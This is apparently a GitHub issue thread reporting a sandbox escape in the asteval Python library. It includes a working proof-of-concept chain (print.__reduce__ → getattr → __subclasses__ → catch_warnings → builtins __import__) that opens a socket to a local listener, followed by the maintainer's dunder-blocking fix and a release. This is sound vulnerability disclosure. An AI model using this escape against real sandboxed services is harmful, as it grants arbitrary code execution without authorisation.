Sandbox escape

[ross-bradley]

The engineers at work were considering using asteval, so I've taken a quick look at it to see what kind of risk it might represent. One sandbox escape in particular jumps out - reduce is permitted, giving access to getattr, at which point none of the security assumptions hold.

Potential "fixes", in rough order of less effort/useful -> more effort/useful include:

• add reduce and __reduce_ex__ to the UNSAFE_ATTR list
• add a "deny all dunder methods" flag to the Interpreter constructor, prohibit access to such methods accordingly, and make it default True
• move to an allow-list model, rather than a deny-list model

I'd also suggest adding base, builtin and builtins to the naughty list in the short-term. Given asteval's use case, it still exposes a lot of Python internals, increasing attack surface considerably. Of course this is basically whack-a-mole, as deny-lists inevitably are.

Simple proof of concept (open a netcat listener or some such on port 1234/tcp for full effect):

#!/usr/bin/env python3
# asteval "sandbox" escape PoC
# Ross Bradley

import asteval

user_input = '''
# reduce the asteval.Interpreter._printer function, returning a tuple
red = print.__reduce__()
print(red)

# red[0] == getattr, red[1][0] == asteval.Interpreter instance)
#  this is the crux of the issue - access to getattr breaks all security assumptions allowing us to access props we shouldn't be able to

# give them nice names to make the following code a little clearer
getattr = red[0]
inst = red[1][0]

# get the class for the asteval.Interpreter instance
cls = getattr(inst, '__class__')

# get an object instance from the class
obj = getattr(cls, '__base__')
subclasses = getattr(obj, '__subclasses__')

# find the catch_warnings type
cw = [c for c in subclasses() if c.__name__ == 'catch_warnings'][0]

# fetch the reference to builtins from the catch_warnings type
bi = cw()._module.__builtins__

# import socket (wait, what?)
socket = bi['__import__']('socket')

# do socket things
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 1234))
s.send(b'arbitrary code execution')
s.close()
'''

interpreter = asteval.Interpreter()
interpreter.eval(user_input)

[newville]

@ross-bradley Thanks! Yes, you are completely correct and this should be addressed.

I think the best approach here is to simply (and always) disallow access to "dunder" attributes entirely but to also keep the other UNSAFE_ATTRS that are not "dunder" methods. A quick check shows that doing that still passes all existing tests. Doing that "no dunder methods" is still sort of a black-list instead of a white-list, but it will adapt better with newly added features.

Does that seem reasonable to you?

[ross-bradley]

That seems to strike an appropriate balance. Whilst yes, it's an extension of the deny-listing approach, it seems to cover the most dangerous attributes and methods in a sufficiently sweeping manner, and does so without requiring an overly onerous effort.

[newville]

@ross-bradley Thanks - I'll commit that. It turns out that 0.9.22 got released yesterday, but I'll try to push this out as 0.9.23 soon, updating the docs on what is not allowed.

FWIW, I think a whitelist of allowed attributes would be hard to maintain. I guess it does have the advantage of starting with "secure" and moving toward "useful".

[newville]

@ross-bradley the fix for this is now merged into the master branch.

[snoopysecurity]

Hey @newville is it possible to publish a new release with this change? thanks

[newville]

@snoopysecurity thanks for the reminder - I just tagged 0.9.23 and pushed to PyPI.